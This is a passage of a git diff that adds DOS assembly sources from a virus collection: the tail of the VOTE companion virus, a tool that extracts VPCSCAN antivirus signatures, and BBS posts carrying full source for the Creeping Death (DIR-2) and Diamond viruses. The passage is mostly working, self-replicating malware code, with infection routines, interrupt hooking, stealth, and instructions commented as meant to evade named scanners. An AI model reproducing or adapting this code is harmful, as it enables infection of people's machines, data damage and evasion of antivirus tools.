SHITHEAD??" query repetitively +;* across the monitor. Computing will be impossible on Nov. 3rd +;* unless VOTE is removed from the machine, a task accomplished by unmasking +;* all the hidden .COMfiles and deleting them while +;* the virus is NOT resident. At all other times, VOTE is almost completely +;* transparent. +;**************************************************************************** + +code segment + assume cs:code,ds:code,es:nothing + + .RADIX 16 + + +oi21 equ endit +nameptr equ endit+4 +DTA equ endit+8 + + +;**************************************************************************** +;* Check for activation date, then proceed to installation! +;**************************************************************************** + + org 100h + +begin: + call get_day ; Get the day, DOS time/date grab + cmp ax,0003h ; Did the function return the 3rd? + jne realstrt ; If equal, continue along stream + call get_month ; Get the month, DOS time/date grab + cmp ax,000Bh ; Did the function return November (11)? + jne realstrt ; If equal, continue to blooie; if not + ; skip to loading of virus + + +blooie: mov dx, offset shithead ;load 'shithead' message + mov ah,9 ;display it and loop + int 21h ;endlessly until + jmp blooie ;user becomes ill and reboots + +realstrt: mov ax,0044h ;move VOTE SHITHEAD to empty hole in RAM + nop ;a 'nop' to confuse tbSCAN + mov es,ax + nop ;a 'nop' to confuse Datatechnik's AVscan + mov di,0100h + mov si,di + mov cx,endit - begin ;length of SHITHEAD into cx + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;check to see if virus is around + je cancel ; by comparing new interrupt (ni21) + stosw ; vector to current, if it looks + movsw ; the same 'cancel' operation + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: ret + + +;**************************************************************************** +;* File-extension masks for checking and naming routines;message text +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 +SHITHEAD db "DID YOU VOTE, SHITHEAD??" + db 07h,07h,'$' + +;**************************************************************************** +;* Interrupt handler 24 +;**************************************************************************** + +ni24: mov al,03 ;virus critical error handler + iret ;prevents embarrassing messages + ;on attempted writes to protected disks + +;**************************************************************************** +;* Interrupt handler 21 +;**************************************************************************** + +ni21: pushf + + push es + push ds + push ax + push bx + push dx + + cmp ax,4B00h ;now that we're installed + jne exit ; check for 4B00, DOS excutions + +doit: call infect ; if one comes by, grab it + +exit: pop dx ; if anything else, goto sleep + pop bx + pop ax + pop ds + pop es + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Try to infect a file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ;get old DTA + int 21 + push es + push bx + + push cs ;set new DTA + + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21 + + call searchpoint ; here's where we grab a name + push di ; for ourselves + mov si,offset COM_txt ;is extension 'COM'? + + mov cx,3 + rep cmpsb + pop di + jz do_com ;if so, go to our .COM routine + + mov si,offset EXE_txt ;is extension 'EXE'? + nop ;'nop' to confuse SCAN v85b. + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt ;change extension to COM + nop ;another 'nop' to confuse SCAN + call change_ext + + mov ax,3300h ;get ctrl-break flag + nop + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vector to new handler + pop ds ;virus handles machine + mov dx,offset ni24 ;exits on attempted writes + mov ah,25h ;to write-protected disks + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (with name of .EXE target) + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h ; makes it hidden/system/read-only + ; do it + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,endit - begin ; write the virus to the created file + mov dx,offset begin ; CX contains length + mov ah,40h ; write to file function + int 21 + + mov ah,3Eh ;close the file + int 21 + + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute EXE-file + +return: mov ah,1Ah ;restore old DTA + pop dx + pop ds + int 21 + + ret + +do_com: call findfirst ;is the COM-file a virus? + cmp word ptr cs:[DTA+1Ah],endit - begin ;compare it to virus length + jne return ;no, so execute COM-file + mov si,offset EXE_txt ;does the EXE-variant exist? + call change_ext + call findfirst + jnc return ;yes, execute EXE-file + mov si,offset COM_txt ;change extension to COM + call change_ext + jmp short return ;execute COM-file + +;**************************************************************************** +;* Search beginning of extension for name we will usurp +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + +;**************************************************************************** +;* Change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + + +;**************************************************************************** +;* Find the file +;**************************************************************************** + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21 + ret + +;**************************************************************************** +;* Get the day off the system for activation checking +;**************************************************************************** +get_day: + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Get back to caller +;************************************************************************* +;* Get the month off the system for activation checking +;************************************************************************* + +get_month: + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Get back to caller + + +endit: + +code ends + end begin + diff --git a/v/VPC293SG.ASM b/v/VPC293SG.ASM new file mode 100755 index 0000000..991c130 --- /dev/null +++ b/v/VPC293SG.ASM @@ -0,0 +1,205 @@ +COMMENT $ + + irogen's VPCSCAN v293 Signature Extractor + + The source code should be pretty easy to read and understand, for + future versions of VPCSCAN, change the offsets below to match the + locations of the names&signatures. + + version 1 - 08-23-94 - original release + +$ +segment cseg +assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +OFS_1 equ 24462h ; offset of normal sigs +OFS_2 equ 31F38h ; ..ending +OFS_3 equ 3CFD5h ; offset of wildcard sigs +OFS_4 equ 3EAE5h ; ..ending + +org 100h +start: + + lea dx,intro_msg ; display intro.. + call disp + + mov ah,3dh ; open phile + lea dx,fname + int 21h + jnc open_ok + jmp error_open ; if error abort.. +open_ok: + xchg ax,bx + mov dx,(OFS_1 and 0FFFFh) + mov cx,2 ; assume high byte=2 + call pfile ; set fp to first set of sigs + lea dx,buffer ; buffer is heap + push dx + mov cx,(OFS_2-OFS_1)+1 + call rfile ; read first set of sigz + add dx,ax ; get offset buffer+bytes read + push dx + mov dx,(OFS_3 and 0FFFFh) + mov cx,3 + call pfile ; set fp to next set of sigs + pop dx + mov cx,(OFS_4-OFS_3) + call rfile ; append 2nd sigs to 1st sigs in heap + xchg dx,si + add si,ax + mov word ptr [si],0FFFFh ; end marker + mov ah,3eh ; close phile + int 21h + + pop si +mloop: + lea dx,pair ; lf/cr + call disp + cmp v_s,0 ; processing virus name, or sig? + jnz mloop2 + lea dx,v_stg ; display string if virus +d_set: call disp +mloop2: + mov bh,byte ptr [si] + cmp v_s,0 + jz no_hex ; if virus name, then ascii display + call byte_disp ; if sig display hex digits + jmp d_hex +no_hex: xchg bh,dl + call disp_one ; display char +d_hex: + inc si ; increment ptr + cmp byte ptr [si],0 ; possible end of field? + jnz mloop2 ; if not then continue reading field + cmp word ptr [si+1],0FFFFh ; end of all sigs? + jz exit +no_end: cmp v_s,0 ; if virus name, then no logic check + jz no_chk + mov cx,3 ; logic check uses 3 bytes + mov bh,30h ; decrease range for first char only + mov di,si ; use di for ptr + inc di + cmp byte ptr [si+3],0 ; if 2 byte virus name, then count=2 + jnz ischar_loop + dec cx +ischar_loop: ; logic loop to determine if end of sig field + mov al,byte ptr [di] ; get byte + cmp ax,'u&' ; fix #1 (ah=last byte loaded) + jz mloop2 + cmp ax,'vk' ; fix #2 + jz mloop2 + cmp ax,'7g' ; fix #3 + jz mloop2 + cmp al,3Ah ; if in this range, then next field !name + jl not_mid + cmp al,40h + jle mloop2 +not_mid: ; if in this range, then next field !name + cmp al,5Bh + jl not_mid2 + cmp al,5Eh + jle mloop2 +not_mid2: + cmp al,20h ; skip + jz nxt_chk + cmp al,21h ; skip '!' + jz nxt_chk + cmp al,25h ; skip '%' + jz nxt_chk + cmp al,26h ; skip '&' + jz nxt_chk + cmp al,2Dh ; skip '-' + jz nxt_chk + cmp al,7Ah ; if !alphanumeric then !name + jg mloop2 + cmp al,bh ; if !alphanumeric then !name + jl mloop2 + mov bh,2Dh ; extend range for last two chars +nxt_chk:inc di + mov ah,al ; ah=last byte loaded + loop ischar_loop +no_chk: + not v_s ; if !0 then signature + inc si ; increment pointer [skip null] + cmp word ptr [si],0 + jz exit +not_end: + jmp mloop ; process next field + +exit: + ret + +error_open: ; error dude.. + lea dx,error_msg +disp: + mov ah,9 + int 21h + xor ax,ax + ret + + + +byte_disp: ; display hex->ascii byte, bh=byte + cmp last,'|' + jnz no_wcard + cmp bh,'?' + jnz no_wcard + xchg dl,bh + call disp_one + jmp _ret +no_wcard: + cmp bh,'|' + jnz no_wcard2 + cmp byte ptr [si+1],'?' + jz _ret2 +no_wcard2: + dec bh + mov ch,2 ; two ascii chars, two hex nibbles +bloop: + mov cl,4 + rol bx,cl ; rotateL 4 bits, setup next nibble + mov dl,bl + and dl,0Fh ; kill other nibble + add dl,30h ; +30=3xh -> ascii numeric digit + cmp dl,3Ah ; numeric or alphabetic? + jl no_add ; + add dl,7 ; add if alphabetic +no_add: + call disp_one + dec ch ; decrement counter + jnz bloop +_ret: + mov dl,20h + call disp_one +_ret2: mov last,bh ; bh ! char if ! '|' + ret + +disp_one: ; display one char + mov ah,2 + int 21h + ret + +rfile: ; read phile + mov ah,3fh + int 21h + ret + +pfile: ; position fp + mov ax,4200h + int 21h + ret + +last db 0 +fname db 'VPCSCAN.EXE',0 +error_msg db 0Dh,0Ah,'Error opening VPCSCAN.EXE!','$' +intro_msg db 0Dh,0Ah," irogen's VPCSCAN v293 Signature Extractor - Coded by irogen" + db 0Dh,0Ah,' 8-23-94 v1.0 ' + db 0Dh,0Ah,' The Adjacent Reality BBS [615].586.9515' + db 0Dh,0Ah,'' +pair db 0Dh,0Ah,'$' +v_stg db ' ','$' +v_s db 0FFh ; 0 if name, !0 if sig being processed +buffer: + +cseg ends + end start diff --git a/v/VSOURCE.ASM b/v/VSOURCE.ASM new file mode 100755 index 0000000..fa25dd6 --- /dev/null +++ b/v/VSOURCE.ASM @@ -0,0 +1,1992 @@ +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (19:52) Number: 3544 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIR-2 Conf: (16) VIRUS +--------------------------------------------------------------------------- +; Creeping Death V 1.0 +; +; (C) Copyright 1991 by VirusSoft Corp. + +i13org = 5f8h +i21org = 5fch + + org 100h + + mov sp,600h + inc counter + xor cx,cx + mov ds,cx + lds ax,[0c1h] + add ax,21h + push ds + push ax + mov ah,30h + call jump + cmp al,4 + sbb si,si + mov drive+2,byte ptr -1 + mov bx,60h + mov ah,4ah + call jump + + mov ah,52h + call jump + push es:[bx-2] + lds bx,es:[bx] + +search: mov ax,[bx+si+15h] + cmp ax,70h + jne next + xchg ax,cx + mov [bx+si+18h],byte ptr -1 + mov di,[bx+si+13h] + mov [bx+si+13h],offset header + mov [bx+si+15h],cs +next: lds bx,[bx+si+19h] + cmp bx,-1 + jne search + jcxz install + + pop ds + mov ax,ds + add ax,[3] + inc ax + mov dx,cs + dec dx + cmp ax,dx + jne no_boot + add [3],61h +no_boot: mov ds,dx + mov [1],8 + + mov ds,cx + les ax,[di+6] + mov cs:str_block,ax + mov cs:int_block,es + + cld + mov si,1 +scan: dec si + lodsw + cmp ax,1effh + jne scan + mov ax,2cah + cmp [si+4],ax + je right + cmp [si+5],ax + jne scan +right: lodsw + push cs + pop es + mov di,offset modify+1 + stosw + xchg ax,si + mov di,offset i13org + cli + movsw + movsw + + mov dx,0c000h +fdsk1: mov ds,dx + xor si,si + lodsw + cmp ax,0aa55h + jne fdsk4 + cbw + lodsb + mov cl,9 + sal ax,cl +fdsk2: cmp [si],6c7h + jne fdsk3 + cmp [si+2],4ch + jne fdsk3 + push dx +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (19:52) Number: 3545 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIR-2 Conf: (16) VIRUS +--------------------------------------------------------------------------- + push [si+4] + jmp short death +install: int 20h +file: db "c:",255,0 +fdsk3: inc si + cmp si,ax + jb fdsk2 +fdsk4: inc dx + cmp dh,0f0h + jb fdsk1 + + sub sp,4 +death: push cs + pop ds + mov bx,[2ch] + mov es,bx + mov ah,49h + call jump + xor ax,ax + test bx,bx + jz boot + mov di,1 +seek: dec di + scasw + jne seek + lea si,[di+2] + jmp short exec +boot: mov es,[16h] + mov bx,es:[16h] + dec bx + xor si,si +exec: push bx + mov bx,offset param + mov [bx+4],cs + mov [bx+8],cs + mov [bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh + mov dx,offset file + call jump + pop dx + + mov ax,4b00h + call jump + mov ah,4dh + call jump + mov ah,4ch + +jump: pushf + call dword ptr cs:[i21org] + ret + + +;--------Installation complete + +i13pr: mov ah,3 + jmp dword ptr cs:[i13org] + + +main: push ax ; driver + push cx ; strategy block + push dx + push ds + push si + push di + + push es + pop ds + mov al,[bx+2] + + cmp al,4 ; Input + je input + cmp al,8 + je output + cmp al,9 + je output + + call in + cmp al,2 ; Build BPB + jne ppp ; + lds si,[bx+12h] + mov di,offset bpb_buf + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es + push cs + pop es + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (19:52) Number: 3546 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIR-2 Conf: (16) VIRUS +--------------------------------------------------------------------------- + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,[di+2-32] + cmp al,2 + adc al,0 + cbw + cmp [di+8-32],0 + je m32 + sub [di+8-32],ax + jmp short ppp +m32: sub [di+15h-32],ax + sbb [di+17h-32],0 + +ppp: pop di + pop si + pop ds + pop dx + pop cx + pop ax +rts: retf + +output: mov cx,0ff09h + call check + jz inf_sec + call in + jmp short inf_dsk + +inf_sec: jmp _inf_sec +read: jmp _read +read_: add sp,16 + jmp short ppp + +input: call check + jz read +inf_dsk: mov byte ptr [bx+2],4 + cld + lea si,[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov [bx+14h],1 + call driver + jnz read_ + mov byte ptr [bx+2],2 + call in + lds si,[bx+12h] + mov ax,[si+6] + add ax,15 + mov cl,4 + shr ax,cl + mov di,[si+0bh] + add di,di + stc + adc di,ax + push di + cwd + mov ax,[si+8] + test ax,ax + jnz more + mov ax,[si+15h] + mov dx,[si+17h] +more: xor cx,cx + sub ax,di + sbb dx,cx + mov cl,[si+2] + div cx + cmp cl,2 + sbb ax,-1 + push ax + call convert + mov byte ptr es:[bx+2],4 + mov es:[bx+14h],ax + call driver +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl + adc dx,ax + mov cs:gad+1,dx + cmp cl,1 + je small + mov ax,[si] + and ax,di + cmp ax,0fff7h + je bad + cmp ax,0ff7h + je bad + cmp ax,0ff70h + jne ok +bad: pop ax + dec ax + push ax + call convert + jmp short again + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (19:52) Number: 3547 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIR-2 Conf: (16) VIRUS +--------------------------------------------------------------------------- +small: not di + and [si],di + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or [si],ax + pop ax + call convert + mov si,es:[bx+0eh] + add si,dx + mov ax,[si] + and ax,di +ok: mov dx,di + dec dx + and dx,di + not di + and [si],di + or [si],dx + + cmp ax,dx + pop ax + pop di + mov cs:pointer+1,ax + je _read_ + mov dx,[si] + push ds + push si + call write + pop si + pop ds + jnz _read_ + call driver + cmp [si],dx + jne _read_ + dec ax + dec ax + mul cx + add ax,di + adc dx,0 + push es + pop ds + mov [bx+12h],2 + mov [bx+14h],ax + test dx,dx + jz less + mov [bx+14h],-1 + mov [bx+1ah],ax + mov [bx+1ch],dx +less: mov [bx+10h],cs + mov [bx+0eh],100h + call write + +_read_: std + lea di,[bx+1ch] + mov cx,8 +load: pop ax + stosw + loop load +_read: call in + + mov cx,9 +_inf_sec: + mov di,es:[bx+12h] + lds si,es:[bx+0eh] + sal di,cl + xor cl,cl + add di,si + xor dl,dl + push ds + push si + call find + jcxz no_inf + call write + and es:[bx+4],byte ptr 07fh +no_inf: pop si + pop ds + inc dx + call find + jmp ppp + +;--------Subroutines + +find: mov ax,[si+8] + cmp ax,"XE" + jne com + cmp [si+10],al + je found +com: cmp ax,"OC" + jne go_on + cmp byte ptr [si+10],"M" + jne go_on + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (19:52) Number: 3548 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIR-2 Conf: (16) VIRUS +--------------------------------------------------------------------------- +found: test [si+1eh],0ffc0h ; >4MB + jnz go_on + test [si+1dh],03ff8h ; <2048B + jz go_on + test [si+0bh],byte ptr 1ch + jnz go_on + test dl,dl + jnz rest +pointer: mov ax,1234h + cmp ax,[si+1ah] + je go_on + xchg ax,[si+1ah] +gad: xor ax,1234h + mov [si+14h],ax + loop go_on +rest: xor ax,ax + xchg ax,[si+14h] + xor ax,cs:gad+1 + mov [si+1ah],ax +go_on: ;rol cs:gad+1,1 + db 2eh,0d1h,6 + dw offset gad+1 + add si,32 + cmp di,si + jne find + ret + +check: mov ah,[bx+1] +drive: cmp ah,-1 + mov cs:[drive+2],ah + jne changed + push [bx+0eh] + mov byte ptr [bx+2],1 + call in + cmp byte ptr [bx+0eh],1 + pop [bx+0eh] + mov [bx+2],al +changed: ret + +write: cmp byte ptr es:[bx+2],8 + jae in + mov byte ptr es:[bx+2],4 + mov si,70h + mov ds,si +modify: mov si,1234h + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in + pop [si+2] + pop [si] + ret + +driver: mov es:[bx+12h],1 +in: + db 09ah +str_block: + dw ?,70h + db 09ah +int_block: + dw ?,70h + test es:[bx+4],byte ptr 80h + ret + +convert: cmp ax,0ff0h + jae fat_16 + mov si,3 + xor cs:[si+gad-1],si + mul si + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si +header: inc ax + ret + +counter: dw 0 + + dw 842h + dw offset main + dw offset rts + db 7fh + +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. + + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (19:52) Number: 3549 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIR-2 Conf: (16) VIRUS +--------------------------------------------------------------------------- + +--- + RonMail 1.0 Programmer's Inn - Home of FeatherNet (619)-446-4506 +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:00) Number: 3550 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIAMOND Conf: (16) VIRUS +--------------------------------------------------------------------------- +; The Diamond Virus +; +; Version 2.10 +; +; also known as: +; V1024, V651, The EGN Virus +; +; Basic release: 5-Aug-1989 +; Last patch: 5-May-1990 +; +; COPYRIGHT: +; +; This program is (c) Copyright 1989,1990 Damage, Inc. +; Permission is granted to distribute this source provided the tittle +page is +; preserved. +; Any fee can be charged for distribution of this source, however, +Damage, Inc. +; distributes it freely. +; You are specially prohibited to use this program for military +purposes. +; Damage, Inc. is not liable for any kind of damages resulting from +the use of +; or the inability to use this software. +; +; To assemble this program use Turbo Assembler 1.0 + + .radix 16 + .model tiny + .code +code_len = top_code-main_entry +data_len = top_data-top_code +main_entry: + call locate_address +gen_count dw 0 +locate_address: + xchg ax,bp + cld + pop bx + inc word ptr cs:[bx] + mov ax,0d5aa + int 21 + cmp ax,2a03 + jz all_done + mov ax,sp + inc ax + mov cl,4 + shr ax,cl + inc ax + mov dx,ss + add ax,dx + mov dx,ds + dec dx + mov es,dx + xor di,di + mov cx,(top_data-main_entry-1)/10+1 + mov dx,[di+2] + sub dx,cx + cmp dx,ax + jc all_done + cli + sub es:[di+3],cx + mov [di+2],dx + mov es,dx + lea si,[bx+main_entry-gen_count] + mov cx,top_code-main_entry + rep + db 2e + movsb + push ds + mov ds,cx + mov si,20 + lea di,[di+old_vector-top_code] + org $-1 + mov ax,offset dos_handler + xchg ax,[si+64] + stosw + mov ax,es + xchg ax,[si+66] + stosw + mov ax,offset time_handler + xchg ax,[si] + stosw + xchg ax,dx + xchg ax,[si+2] + stosw + mov ax,24 + stosw + pop ds + push ds + pop es + sti +all_done: + lea si,[bx+exe_header-gen_count] + db 2e + lodsw + cmp ax,'ZM' + jz exit_exe +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:00) Number: 3551 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIAMOND Conf: (16) VIRUS +--------------------------------------------------------------------------- + mov di,100 + push di + stosw + movsb + xchg ax,bp + ret +exit_exe: + mov dx,ds + add dx,10 + add cs:[si+return_address+2-exe_header-2],dx + org $-1 + add dx,cs:[si+stack_offset+2-exe_header-2] + org $-1 + mov ss,dx + mov sp,cs:[si+stack_offset-exe_header-2] + org $-1 + xchg ax,bp + jmp dword ptr +cs:[si+return_address-exe_header-2] + org $-1 +infect: + mov dx,offset exe_header + mov cx,top_header-exe_header + mov ah,3f + int 21 + jc do_exit + sub cx,ax + jnz go_error + mov di,offset exe_header + les ax,[di+ss_offset-exe_header] + org $-1 + mov [di+stack_offset-exe_header],es + org $-1 + mov [di+stack_offset+2-exe_header],ax + org $-1 + les ax,[di+ip_offset-exe_header] + org $-1 + mov [di+return_address-exe_header],ax + org $-1 + mov [di+return_address+2-exe_header],es + org $-1 + mov dx,cx + mov ax,4202 + int 21 + jc do_exit + mov [di+file_size-exe_header],ax + org $-1 + mov [di+file_size+2-exe_header],dx + org $-1 + mov cx,code_len + cmp ax,cx + sbb dx,0 + jc do_exit + xor dx,dx + mov si,'ZM' + cmp si,[di] + jz do_put_image + cmp [di],'MZ' + jz do_put_image + cmp ax,0fe00-code_len + jc put_image +go_error: + stc +do_exit: + ret +do_put_image: + cmp dx,[di+max_size-exe_header] + org $-1 + jz go_error + mov [di],si +put_image: + mov ah,40 + int 21 + jc do_exit + sub cx,ax + jnz go_error + mov dx,cx + mov ax,4200 + int 21 + jc do_exit + mov ax,[di+file_size-exe_header] + org $-1 + cmp [di],'ZM' + jnz com_file + mov dx,[di+file_size-exe_header+2] + org $-1 + mov cx,4 + push di + mov si,[di+header_size-exe_header] + org $-1 + xor di,di +shift_size: + shl si,1 + rcl di,1 + loop shift_size + sub ax,si + sbb dx,di + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:00) Number: 3552 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIAMOND Conf: (16) VIRUS +--------------------------------------------------------------------------- + pop di + mov cl,0c + shl dx,cl + mov [di+ip_offset-exe_header],ax + org $-1 + mov [di+cs_offset-exe_header],dx + org $-1 + add dx,(code_len+data_len+100-1)/10+1 + org $-1 + mov [di+sp_offset-exe_header],ax + org $-1 + mov [di+ss_offset-exe_header],dx + org $-1 + add word ptr +[di+min_size-exe_header],(data_len+100-1)/10+1 + org $-2 + mov ax,[di+min_size-exe_header] + org $-1 + cmp ax,[di+max_size-exe_header] + org $-1 + jc adjust_size + mov [di+max_size-exe_header],ax + org $-1 +adjust_size: + mov ax,[di+last_page-exe_header] + org $-1 + add ax,code_len + push ax + and ah,1 + mov [di+last_page-exe_header],ax + org $-1 + pop ax + mov cl,9 + shr ax,cl + add [di+page_count-exe_header],ax + org $-1 + jmp short put_header +com_file: + sub ax,3 + mov byte ptr [di],0e9 + mov [di+1],ax +put_header: + mov dx,offset exe_header + mov cx,top_header-exe_header + mov ah,40 + int 21 + jc error + cmp ax,cx + jz reset +error: + stc +reset: + ret +find_file: + pushf + push cs + call calldos + test al,al + jnz cant_find + push ax + push bx + push es + mov ah,51 + int 21 + mov es,bx + cmp bx,es:[16] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2f + int 21 + pop ax + inc al + jnz fcb_standard + add bx,7 +fcb_standard: + mov ax,es:[bx+17] + and ax,1f + xor al,1e + jnz not_infected + and byte ptr es:[bx+17],0e0 + sub es:[bx+1dh],code_len + sbb es:[bx+1f],ax +not_infected: + pop es + pop bx + pop ax +cant_find: + iret +dos_handler: + cmp ah,4bh + jz exec + cmp ah,11 + jz find_file + cmp ah,12 + jz find_file + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:00) Number: 3553 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIAMOND Conf: (16) VIRUS +--------------------------------------------------------------------------- + cmp ax,0d5aa + jnz calldos + not ax +fail: + mov al,3 + iret +exec: + cmp al,2 + jnc calldos + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + mov ax,3524 + int 21 + push es + push bx + mov ah,25 + push ax + push ds + push dx + push cs + pop ds + mov dx,offset fail + int 21 + pop dx + pop ds + mov ax,4300 + int 21 + jc exit + test cl,1 + jz open + dec cx + mov ax,4301 + int 21 +open: + mov ax,3d02 + int 21 + jc exit + xchg ax,bx + mov ax,5700 + int 21 + jc close + mov al,cl + or cl,1f + dec cx + xor al,cl + jz close + push cs + pop ds + push cx + push dx + call infect + pop dx + pop cx + jc close + mov ax,5701 + int 21 +close: + mov ah,3e + int 21 +exit: + pop ax + pop dx + pop ds + int 21 + pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds +calldos: + jmp cs:[old_vector] + .radix 10 +adrtbl dw +1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156 + dw +2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478 + dw 2480,2482,2640 +diftbl dw +-324,-322,-156,158,-318,-316,318,156,162,316,164,-322 + dw +-162,-322,322,322,-324,-158,164,316,-324,324,-316,-164 + dw 324 +valtbl dw +3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844 + dw +3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820 + dw 2820,2820,2308 +xlatbl dw + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:00) Number: 3554 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIAMOND Conf: (16) VIRUS +--------------------------------------------------------------------------- +-324,316,-164,156,-322,318,-162,158,-318,322,-158,162 + dw -316,324,-156,164 + .radix 16 +time_handler: + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + push cs + pop ds + cld + mov dx,3da + mov cx,19 + mov si,offset count + mov ax,[si] + test ah,ah + jnz make_move + mov al,ah + mov es,ax + cmp al,es:[46dh] + jnz exit_timer + mov ah,0f + int 10 + cmp al,2 + jz init_diamond + cmp al,3 + jnz exit_timer +init_diamond: + inc byte ptr [si+1] + sub bl,bl + add bh,0b8 + mov [si+2],bx + mov es,bx +wait_snow: + in al,dx + test al,8 + jz wait_snow + mov si,offset valtbl +build_diamond: + mov di,[si+adrtbl-valtbl] + movsw + loop build_diamond +exit_timer: + pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + jmp cs:[old_timer] +count_down: + dec byte ptr [si] + jmp exit_timer +make_move: + test al,al + jnz count_down + inc byte ptr [si] + mov si,offset adrtbl +make_step: + push cx + push cs + pop es + lodsw + mov bx,ax + sub ax,140 + cmp ax,0d20 + jc no_xlat + test ax,ax + mov ax,[si+diftbl-adrtbl-2] + jns test_xlat + test ax,ax + js do_xlat + jmp short no_xlat +test_xlat: + test ax,ax + js no_xlat +do_xlat: + mov di,offset xlatbl + mov cx,10 + repnz scasw + dec di + dec di + xor di,2 + mov ax,[di] + mov [si+diftbl-adrtbl-2],ax +no_xlat: + mov ax,[si-2] + add ax,[si+diftbl-adrtbl-2] + mov [si-2],ax + mov cx,19 + mov di,offset adrtbl + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:00) Number: 3555 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIAMOND Conf: (16) VIRUS +--------------------------------------------------------------------------- +lookup: + jcxz looked_up + repnz scasw + jnz looked_up + cmp si,di + jz lookup + mov [si-2],bx + mov ax,[si+diftbl-adrtbl-2] + xchg ax,[di+diftbl-adrtbl-2] + mov [si+diftbl-adrtbl-2],ax + jmp lookup +looked_up: + mov es,[homeadr] + mov di,bx + xor bx,bx + call out_char + mov di,[si-2] + mov bx,[si+valtbl-adrtbl-2] + call out_char + pop cx + loop make_step + jmp exit_timer +out_char: + in al,dx + test al,1 + jnz out_char +check_snow: + in al,dx + test al,1 + jz check_snow + xchg ax,bx + stosw + ret +stack_offset dd ? +return_address dd ? + db '7106286813' +exe_header: int 20 +last_page: nop +top_code: + db ? +page_count dw ? + dw ? +header_size dw ? +min_size dw ? +max_size dw ? +ss_offset dw ? +sp_offset dw ? + dw ? +ip_offset dw ? +cs_offset dw ? +top_header: +file_size dd ? +old_vector dd ? +old_timer dd ? +count db ? +flag db ? +homeadr dw ? +top_data: + end + +--- + RonMail 1.0 Programmer's Inn - Home of FeatherNet (619)-446-4506 +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:06) Number: 3556 +From: AHMED DOGAN Refer#: NONE + To: 